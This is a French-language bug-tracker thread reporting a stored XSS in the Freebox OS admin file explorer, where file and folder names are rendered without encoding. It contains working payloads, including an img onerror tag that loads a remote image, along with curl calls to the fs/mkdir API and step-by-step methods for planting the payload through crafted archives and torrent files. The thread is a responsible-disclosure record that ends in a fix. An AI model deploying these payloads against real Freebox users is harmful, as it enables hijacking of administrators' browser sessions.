Freebox Server (Ultra V9/ Pop V8/ Delta V7 / Revolution V6 / Mini 4K)

  • Status Closed
  • Percent Complete
    100%
  • Task Type Anomalie
  • Category Freebox OS
  • Assigned To No-one
  • Operating System Freebox Server V6 (Révolution)
  • Severity Critical
  • Priority Very High
  • Reported Version 4.7.4
  • Due in Version Undecided
  • Due Date Undecided
  • Votes 2
  • Private
Attached to Project: Freebox Server (Ultra V9/ Pop V8/ Delta V7 / Revolution V6 / Mini 4K)
Opened by TDiffff - 18/02/2023
Last edited by mmakassikis - 28/03/2023

FS#37727 - Vulnérabilité XSS - nom de fichier / dossier (unauthenticated, stored)

Bonjour,

   J'ai trouvé une autre XSS, encore plus simple à mettre en œuvre pour un attaquant.

Il suffit depuis un poste connecté au réseau local de se rendre sur l’adresse de la Freebox via le partage SMB, ouvert en écriture par défaut :

\\192.168.1.254\Disque dur\

et d’y écrire un fichier ou dossier dont le nom contient un script JS malicieux, qui sera exécuté si quelqu’un explore le dossier parent depuis l’interface web admin.

PoC : https://youtu.be/Ny0pgV4QT18 (vidéo non répertoriée)

Exemple de payload permettant de charger du contenu depuis une URL distante :

<img src="" onerror="s=document.createElement('img'); s.src='https:\x2F\x2Ftrollface.dk\x2FtrollfaceONE.png'; document.body.appendChild(s)">

(j’ai un peu galéré étant donné qu’il faut faire sans forward slash, en effet c’est un caractère interdit pour un nom de fichier)

Je reste à votre disposition si vous avez besoin de plus d’infos.
(un petit coup de pouce / geste de votre part ne serait pas de refus, bien que n’attendant évidement rien en retour; je cherche ces bugs sur mon temps libre)
Mon email de contact est dans mon profil.

Bonne journée et continuation.

Closed by  mmakassikis
28.03.2023 13:39
Reason for closing:  Résolu
Additional comments about closing:  

firmware 4.7.5

29/06/2023: A request to reopen the task has been made. Reason for request: partiellement corrigé

Bonjour

Merci pour le job !

Sans modification de la string, impossible à reproduire sous Linux :

Avec mkdir dans un partage samba impossible toujours sans modifications de la string) :

18:31:32 root@14RV-SERVER-173:/mnt/fbx/FBX-24T/dl/vm8# cat 1
<img src="" onerror="s=document.createElement('img'); s.src='https:\x2F\x2Ftrollface.dk\x2FtrollfaceONE.png'; document.body.appendChild(s)">
18:35:36 root@14RV-SERVER-173:/mnt/fbx/FBX-24T/dl/vm8# mkdir $(cat 1)
mkdir: impossible de créer le répertoire « s.src='https:\\x2F\\x2Ftrollface.dk\\x2FtrollfaceONE.png'; »: Argument invalide

Avec "Nautilus" sous GNOME non plus : 'invalid character or bad ascii'

Avec l'API depuis BASH, non plus

Erreur lors de la création du dossier: Le fichier n'existe pas: path_not_found

ou

Invalid request: cannot parse json: invalid_request

Après j'utilise le firmware 4.6.5.1 sur une delta pas encore reboot depuis 130 jours (avec les VM, c'est délicat, il faudrait pouvoir mettre à jour sans reboot la box, à minima pour les mises à jour mineures)

La ligne de mount utilisée pour monter le samba est :

//10.xxx.yyy.100/FBX24T /mnt/fbx/FBX24T 		 cifs credentials=/you/are/not/concerned/.secret,rw,nounix,iocharset=utf8,file_mode=0666,dir_mode=0755,nofail,cache=none,x-systemd.automount,vers=3.0,rsize=32768,wsize=32768,mfsymlinks,user,_netdev 0 0

Je vais essayer de convertir tous les '"' et les "'" et autre '<' ou '>' de la ligne par des \x[0-9a-f]{2} avec hexdump,xxd ou encore printf pour voir si ça passe sous Linux ou depuis l'API (qui encode les path et filename en base64) et si on arrive à reproduire

ce serait particulièrement dangereux si ça fonctionnait depuis l'API avec les appli maisons sur smartphones …

Cordialement
nbanba

Bon, je n'arrive pas à commenter depuis la version mobile du site. Je réponds demain ou plus tard dans la soirée depuis mon ordi.

Avec l'API cela devrait donner quelque chose comme ça :

Call : /api/latest/fs/mkdir
JSon :

{"parent":"L0Rpc3F1ZSBkdXI=","dirname":"<img src=\"\" onerror=\"s=document.createElement('img'); s.src='https:\\x2F\\x2Ftrollface.dk\\x2FtrollfaceONE.png'; document.body.appendChild(s)\">"}

Bonjour

Oui pour l'API c'est ce que fait la fonction mkdir_fs_file de la lib que j'ai écrite mais je n'ai pas réussi à créer le répertoire (appel system mkdir au kernel de la box fait par l'API ?)
Le parsing du json contenant le JS depuis bash en est pour minimum 80% la cause; il faudrait que j'essaye avec 'jq' au lieu de JSON.sh

Sinon j'ai fais pas mal de tests depuis ce matin et ne n'ai pas réussi à reproduire de puis Linux

J'ai dump l'hexa et remplacé tous les caractères spéciaux avec des \xXX :

cat 1 | xxd
00000000: 3c69 6d67 2073 7263 3d22 2220 6f6e 6572  <img src="" oner
00000010: 726f 723d 2273 3d64 6f63 756d 656e 742e  ror="s=document.
00000020: 6372 6561 7465 456c 656d 656e 7428 2769  createElement('i
00000030: 6d67 2729 3b20 732e 7372 633d 2768 7474  mg'); s.src='htt
00000040: 7073 3a5c 7832 465c 7832 4674 726f 6c6c  ps:\x2F\x2Ftroll
00000050: 6661 6365 2e64 6b5c 7832 4674 726f 6c6c  face.dk\x2Ftroll
00000060: 6661 6365 4f4e 452e 706e 6727 3b20 646f  faceONE.png'; do
00000070: 6375 6d65 6e74 2e62 6f64 792e 6170 7065  cument.body.appe
00000080: 6e64 4368 696c 6428 7329 223e 0a         ndChild(s)">.

cat 1 | sed -e 's/"/\\x22/g' -e "s/'/\\\x27/g" -e "s/</\\\x3C/g" -e "s/>/\\\x3E/g" -e "s/ /\\\x20/g" -e "s/;/\\\x3B/g" -e "s/:/\\\x3A/g" 
\x3Cimg\x20src=\x22\x22\x20onerror=\x22s=document.createElement(\x27img\x27)\x3B\x20s.src=\x27https\x3A\x2F\x2Ftrollface.dk\x2FtrollfaceONE.png\x27\x3B\x20document.body.appendChild(s)\x22\x3E

et mkdir renvoit une erreur

J'ai recommencé avec des % à la place des \x sans plus de succès .

%3Cimg%20src=%22%22%20onerror=%22s=document.createElement(%27img%27)%3B%20s.src=%27https%3A%2F%2Ftrollface.dk%2FtrollfaceONE.png%27%3B%20document.body.appendChild(s)%22%3E

Alors j'ai tracé les appels systèmes jusqu'au call système mkdir :

strace mkdir $(cat 6-hex)
execve("/bin/mkdir", ["mkdir", "\\x3Cimg\\x20src=\\x22\\x22\\x20onerr"...], ["SHELL=/bin/bash", "HISTSIZE=11000", "HISTTIMEFORMAT=%F %T => ", "PWD=/mnt/fbx/FBX-24T/dl/vm8", "LOGNAME=root", "HOME=/root", "LANG=fr_FR.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "PROMPT_COMMAND=history -a", "TERM=xterm-256color", "USER=root", "SHLVL=1", "PATH=/usr/local/sbin:/usr/local/"..., 
...
fstat(3, {st_dev=makedev(0, 0x1c), st_ino=5543460, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=5792, st_size=3041456, st_atime=1676734047 /* 2023-02-18T16:27:27.781262748+0100 */, st_atime_nsec=781262748, st_mtime=1659107520 /* 2022-07-29T17:12:00.447607279+0200 */, st_mtime_nsec=447607279, st_ctime=1659107520 /* 2022-07-29T17:12:00.447607279+0200 */, st_ctime_nsec=447607279}) = 0
mmap(NULL, 3041456, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fdda670a000
close(3)                                = 0
mkdir("\\x3Cimg\\x20src=\\x22\\x22\\x20onerror=\\x22s=document.createElement(\\x27img\\x27)\\x3B\\x20s.src=\\x27https\\x3A\\x2F\\x2Ftrollface.dk\\x2FtrollfaceONE.png\\x27\\x3B\\x20document.body.appendChild(s)\\x22\\x3E", 0777) = -1 EINVAL (Argument invalide)
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_dev=makedev(0, 0x1a), st_ino=562656, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=2996, st_atime=1676726377 /* 2023-02-18T14:19:37.021672701+0100 */, st_atime_nsec=21672701, st_mtime=1625599019 /* 2021-07-06T21:16:59+0200 */, st_mtime_nsec=0, st_ctime=1630743754 /* 2021-09-04T10:22:34.398647091+0200 */, st_ctime_nsec=398647091}) = 0
read(3, "# Locale name alias data base.\n#"..., 4096) = 2996
read(3, "", 4096)                       = 0
close(3)                                = 0
...
fstat(3, {st_dev=makedev(0, 0x1c), st_ino=2827578, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=760, st_size=387694, st_atime=1676781045 /* 2023-02-19T05:30:45.187118970+0100 */, st_atime_nsec=187118970, st_mtime=1600936569 /* 2020-09-24T10:36:09+0200 */, st_mtime_nsec=0, st_ctime=1630740652 /* 2021-09-04T09:30:52.279397533+0200 */, st_ctime_nsec=279397533}) = 0
mmap(NULL, 387694, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fdda66ab000
close(3)                                = 0
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
fstat(3, {st_dev=makedev(0, 0x1c), st_ino=5503321, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=56, st_size=27002, st_atime=1676733375 /* 2023-02-18T16:16:15.078467728+0100 */, st_atime_nsec=78467728, st_mtime=1647553020 /* 2022-03-17T22:37:00+0100 */, st_mtime_nsec=0, st_ctime=1659106858 /* 2022-07-29T17:00:58.008523355+0200 */, st_ctime_nsec=8523355}) = 0
mmap(NULL, 27002, PROT_READ, MAP_SHARED, 3, 0) = 0x7fdda6cc6000
close(3)                                = 0
futex(0x7fdda6c7367c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
write(2, "mkdir: ", 7mkdir: )                  = 7
write(2, "impossible de cr\303\251er le r\303\251perto"..., 255impossible de créer le répertoire « \\x3Cimg\\x20src=\\x22\\x22\\x20onerror=\\x22s=document.createElement(\\x27img\\x27)\\x3B\\x20s.src=\\x27https\\x3A\\x2F\\x2Ftrollface.dk\\x2FtrollfaceONE.png\\x27\\x3B\\x20document.body.appendChild(s)\\x22\\x3E ») = 255
...
fstat(3, {st_dev=makedev(0, 0x1c), st_ino=5515019, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=296, st_size=149729, st_atime=1676782948 /* 2023-02-19T06:02:28.736306406+0100 */, st_atime_nsec=736306406, st_mtime=1647553020 /* 2022-03-17T22:37:00+0100 */, st_mtime_nsec=0, st_ctime=1659107300 /* 2022-07-29T17:08:20.791888010+0200 */, st_ctime_nsec=791888010}) = 0
mmap(NULL, 149729, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fdda6686000
close(3)                                = 0
write(2, ": Argument invalide", 19: Argument invalide)     = 19
write(2, "\n", 1
)                       = 1
close(1)                                = 0
close(2)                                = 0
exit_group(1)                           = ?
+++ exited with 1 +++

...

Et on trouve l'erreur 'EINVAL'

En regardant le code du kernel fs/namei.c on trouve l'appel system mkdir

SYSCALL_DEFINE3(mkdirat, int, dfd, const char __user *, pathname, umode_t, mode)
{
        return do_mkdirat(dfd, getname(pathname), mode);
}

SYSCALL_DEFINE2(mkdir, const char __user *, pathname, umode_t, mode)
{
        return do_mkdirat(AT_FDCWD, getname(pathname), mode);
}


qui appel la structure dentry getname(pathname)

Qui fait appel à do_path_lookup qui lui même appel link_path_walk

On voit clairement dans link_path_walk que les '/' sont interdits et que les path doivent etre valides :

/*
 * Name resolution.
 * This is the basic name resolution function, turning a pathname into
 * the final dentry. We expect 'base' to be positive and a directory.
 *
 * Returns 0 and nd will have valid dentry and mnt on success.
 * Returns error and drops reference to input namei data on failure.
 */
static int link_path_walk(const char *name, struct nameidata *nd)
{
        int depth = 0; // depth <= nd->depth
        int err;

        nd->last_type = LAST_ROOT;
        nd->flags |= LOOKUP_PARENT;
        if (IS_ERR(name))
                return PTR_ERR(name);
        while (*name=='/')
                name++;
        if (!*name) {
                nd->dir_mode = 0; // short-circuit the 'hardening' idiocy
                return 0;
        }

        /* At this point we know we have a real path component. */
        for(;;) {
                struct user_namespace *mnt_userns;
                const char *link;
                u64 hash_len;
                int type;

                mnt_userns = mnt_user_ns(nd->path.mnt);
                err = may_lookup(mnt_userns, nd);
                if (err)
                        return err;

                hash_len = hash_name(nd->path.dentry, name);

                type = LAST_NORM;
                if (name[0] == '.') switch (hashlen_len(hash_len)) {
                        case 2:
                                if (name[1] == '.') {
                                        type = LAST_DOTDOT;
                                        nd->state |= ND_JUMPED;
                                }
                                break;
                        case 1:
                                type = LAST_DOT;
                }
                if (likely(type == LAST_NORM)) {
                        struct dentry *parent = nd->path.dentry;
                        nd->state &= ~ND_JUMPED;
                        if (unlikely(parent->d_flags & DCACHE_OP_HASH)) {
                                struct qstr this = { { .hash_len = hash_len }, .name = name };
                                err = parent->d_op->d_hash(parent, &this);
                                if (err < 0)
                                        return err;
                                hash_len = this.hash_len;
                                name = this.name;
                        }
                }

                nd->last.hash_len = hash_len;
                nd->last.name = name;
                nd->last_type = type;

                name += hashlen_len(hash_len);
                if (!*name)
                        goto OK;
                /*
                 * If it wasn't NUL, we know it was '/'. Skip that
                 * slash, and continue until no more slashes.
                 */
                do {
                        name++;
                } while (unlikely(*name == '/'));
                if (unlikely(!*name)) {
OK:
                        /* pathname or trailing symlink, done */
                        if (!depth) {
                                nd->dir_uid = i_uid_into_mnt(mnt_userns, nd->inode);
                                nd->dir_mode = nd->inode->i_mode;
                                nd->flags &= ~LOOKUP_PARENT;
                                return 0;
                        }
                        /* last component of nested symlink */
                        name = nd->stack[--depth].name;
                        link = walk_component(nd, 0);
                } else {
                        /* not the last component */
                        link = walk_component(nd, WALK_MORE);
                }
                if (unlikely(link)) {
                        if (IS_ERR(link))
                                return PTR_ERR(link);
                        /* a symlink to follow */
                        nd->stack[depth++].name = name;
                        name = link;
                        continue;
                }
                if (unlikely(!d_can_lookup(nd->path.dentry))) {
                        if (nd->flags & LOOKUP_RCU) {
                                if (!try_to_unlazy(nd))
                                        return -ECHILD;
                        }
                        return -ENOTDIR;
                }
        }
}


Après je n'ai pas trouvé d'interdiction sur '\x' (juste '/' et un path valide) mais impossible de faire un mkdir de :

mkdir "\\x3Cimg\\x20src=\\x22\\x22\\x20onerror=\\x22s=document.createElement\\x28\\x27img\\x27\\x29\\x3B\\x20s.src=\\x27https\\x3A\\x2F\\x2Ftrollface.dk\\x2FtrollfaceONE.png\\x27\\x3B\\x20document.body.appendChild\\x28s\\x29\\x22\\x3E"
mkdir: impossible de créer le répertoire « \\x3Cimg\\x20src=\\x22\\x22\\x20onerror=\\x22s=document.createElement\\x28\\x27img\\x27\\x29\\x3B\\x20s.src=\\x27https\\x3A\\x2F\\x2Ftrollface.dk\\x2FtrollfaceONE.png\\x27\\x3B\\x20document.body.appendChild\\x28s\\x29\\x22\\x3E »: Argument invalide

Et pourtant

$ mkdir \\xAB
$ ls
'\xAB'

Donc bonne nouvelle, ce n'est pas si facile à exploiter que ça depuis ce qui risque d'être exposé, comme une VM sur une delta ayant un share samba et un serveur web exposé au net.

Après, je ne suis pas dev kernel ni dev tout court, quelqu'un de plus expert que moi y arriverait certainement

Ce qu'il faut craindre c'est le gestionaire de downloads

Si un torrent contient un sous répertoire avec comme nom ce hack (voir beaucoup plus), il peut devenir facile pour un attaquant d'utiliser les navigateurs des utilisateurs du gestionaire de download pour attaquer n'importe qui (il doit bien y avoir un appel fopen() en JS, non ?)

La box ne permet pas de sandbox les requêtes réseaux ni de faire de l'UTM ou de déployer un IPS sur les flux sortant ⇒ aucun utilisateur / client freebox n'est donc protégé (sans utiliser un vrai firewall d'entreprise à X milliers d'€ par ans entre la freebox et le lan)

Cordialement
nbanba

Une chose est sure, quand je crée le dossier via l'interface admin web, le dossier est bien créé, avec le fameux appel /api/latest/fs/mkdir, donc le reste se trouve au niveau de l'implémentation de l'appel API que vous utilisez pour vos tests.

Pour ce qui est de SMB, après recherche, il me parrait très compliqué (impossible?) d'arriver à créer un dossier ou fichier contenant "<" ou ">" à cause du protocole en lui même. Vous allez vous retrouver invariablement avec une erreur "STATUS_OBJECT_NAME_INVALID", pas besoin selon moi de creuser cette piste plus loin, donc on peux oublier l'aspect unauthenticated de la vulnérabilité.

En effet ça rends moins facile l'exploitation.
Et oui, comme vous le mentionnez, si un torrent contient un nom de fichier de ce type, ça reste tout de même bien dangereux, je vous conseille donc de bien filtrer / encoder les "<" ">".

Cordialement

Je viens de tester une petite bidouille en modifiant avec HxD un fichier zip pour permettre la création d'un dossier avec ce nom :

<img src=x onerror=alert(1)>

L'extraction fonctionne et le dossier est bien créé avec le bon nom.

Merci pour votre retour

Effectivement, les dev tools de chrome montre la création du répertoire dans freeboxOS avec le JS dans le nom. C'est sans appel !

De mon côté, c'est bloqué au niveau du parsing par la fonction bash _parse_json | _tokenize_json qui ne comprends pas les '<' ni '>'

Concenrnant SMB, j'avoue avoir fait pas mal de tests sans succès, presque décevant …! (je plaisante)

Pour les torrents, de mon côté et pour le moment ça va être une instance qBittorrent (pas la box) qui écrit dans un FS LUKS (Cryptesetup loop mount) posé sur le share de la freebox monté en samba puis ouvert avec cryptsetup / device-mapper et monté comme un disque indépendant (depuis la box, on voit juste un contener LUKS de 4T, soit 1 seul fichier dont le contenu (un fs crypté) n'est pas lisible depuis l'interface d'admin de la freebox)

Ça donnera peut être des idées à d'autres, assez facile à mettre en place dans une VM dans une delta (et je peux fournir les scripts de création, montage, démontage d'un tel système, il faut juste demander …)

Cordialement
nbanba

Bien joué pour le zip… c'est comme ça que je créé des vrais symlink (pas de SMB msfsymlinks, mais des link type 'ln -s') sur le FS de la box utilisable par la box elle même (par exemple pour envoyer les répertoires par défaut dans un autre disque ou dans un sous répertoire au lieu de la racine), mais pour moi c'était du hack… ;)

Vous avez unzip avec l'API ?

Cordialement
nbanba

Au temps pour moi, l'extraction ne va pas à terme, je me suis emélée les pinceaux avec mes dossiers en bazar ^^'
En tout cas avec du .zip, pas possible. Je fais les tests avec les autres formats et reviens vers vous. (j'ai utilisé un pattern de même longueur de type "xxxxxxxxxxxxxxxxxxxxxxxxxxxx" puis modifié avec un editeur hexa pour remplacer par une balise image avec un alert()

Alors par contre, avec du ZIP, si c'est un fichier et non un dossier ça fonctionne AHAH!
Voilà le sample :
https://easyupload.io/pq2k08

Méthodologie utilisée :
1) Création d'un fichier via SMB (toto.txt)
2) Renommage du fichier via l'explorateur de l'interface web admin
3) Création d'une archive exploit.(format) (fonctionne avec tous les formats disponibles)
4) Suppression du fichier initial (pour pas se faire avoir par un faux positif, lol…)
5) Clic-droit sur l'archive ⇒ Extraire ici
6) Profit?

Hello

Alors je vais tester depuis l API … Pour voir comment se comporte extract_fs_file … de manière sous jacente

Si vous avez accès à 1 machines Linux et que vous n avez oas vos propres sources, j ai contribué au développement (98% de code) de https://github.com/nbanb/fbx-delta-nba_bash_api.sh

Bon point de départ pour utiliser l API directement depuis le cmd shell bash d 1 machine Linux.

Cordialement
nbanba

Petite subtilité pour charger du contenu depuis un site externe dans le payload de la version "archive" de l'exploit : il ne faut pas utiliser de \x[0-9][A-F] sinon des sous-dossiers sont créés lors de l'extraction.
Privilégier &#[0-9]; à la place.

Exemple :

<img src="" onerror="s=document.createElement('img'); s.src='https:&#47;&#47;trollface.dk&#47;trollfaceONE.png'; document.body.appendChild(s)">

Un piti PoC pour la route : https://youtu.be/moLljBRCQsM

Je confirme votre crainte nbanba : le gestionnaire de téléchargement ne filtre ni n'encode les noms de fichiers se trouvant dans les fichier .torrent ^^'

Méthode utilisée :
1) créer un torrent avec un fichier XXXXXXXXXXXXXXXXXXXXXXXXXXXXX.iso ou quelque chose du genre
2) modifier le nom du fichier avec un éditeur Héxa type HxD
3) importer le fichier torrent dans le gestionnaire de téléchargement
4) le fichier est automatiquement créé, avec le nom non-encodé et non filtré
5) en se déplacant à l'interieur du dossier téléchargement, le code JS est éxécuté

PoC : https://youtu.be/a9L09-4n268

Hello

Tout d'abord, BRAVO miss Tdiffff !
Et merci pour les contribs…

Desolé, je n'ai pas pu pousser les tests cet après-midi (famille oblige…) mais j'ai pu reproduire avec le gestionnaire de téléchargements/torrent et oui ça fonctionne également en encodage décimales.

Je pousserai les tests demain.
Merci encore

Cordialement
nbanba

Hello

Alors ça fonctionne super bien avec l'API !

08:16:11 nba@14RV-SERVER-214:~/fbxapi$. loginfbx
08:16:32 nba@14RV-SERVER-214:~/fbxapi$cat 2 
{"parent":"L0ZCWDI0VC9kbC92bTgvdGVzdC8y","dirname":"<img src=\"\" onerror=\"s=document.createElement('img'); s.src='https:\\x2F\\x2Ftrollface.dk\\x2FtrollfaceONE.png'; document.body.appendChild(s)\">"}
08:16:37 nba@14RV-SERVER-214:~/fbxapi$curl -s "https://fbx.fbx.lan/api/v9/fs/mkdir/" --cacert /usr/share/ca-certificates/nba/14rv-rootCA-RSA4096.pem -H "Content-Type: application/json"  -H "X-Fbx-App-Auth: $_SESSION_TOKEN" -X POST -d "$(cat ./2)"
{"success":true,"result":"L0ZCWDI0VC9kbC92bTgvdGVzdC8yLzxpbWcgc3JjPSIiIG9uZXJyb3I9InM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJyk7IHMuc3JjPSdodHRwczpceDJGXHgyRnRyb2xsZmFjZS5ka1x4MkZ0cm9sbGZhY2VPTkUucG5nJzsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKSI+"}08:16:59 nba@14RV-SERVER-214:~/fbxapi$
08:17:10 nba@14RV-SERVER-214:~/fbxapi$echo -n L0ZCWDI0VC9kbC92bTgvdGVzdC8yLzxpbWcgc3JjPSIiIG9uZXJyb3I9InM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJyk7IHMuc3JjPSdodHRwczpceDJGXHgyRnRyb2xsZmFjZS5ka1x4MkZ0cm9sbGZhY2VPTkUucG5nJzsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKSI | base64 -d
/FBX24T/dl/vm8/test/2/<img src="" onerror="s=document.createElement('img'); s.src='https:\x2F\x2Ftrollface.dk\x2FtrollfaceONE.png'; document.body.appendChild(s)"base64: entrée incorrecte
08:17:22 nba@14RV-SERVER-214:~/fbxapi$ls /mnt/fbx/FBX-24T/dl/vm8/test/2
'<img src="" onerror="s=document.createElement('\''img'\''); s.src='\''https:\x2F\x2Ftrollface.dk\x2FtrollfaceONE.png'\''; document.body.appendChild(s)">'
08:19:54 nba@14RV-SERVER-214:~/fbxapi$

Cordialement
nbanba

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing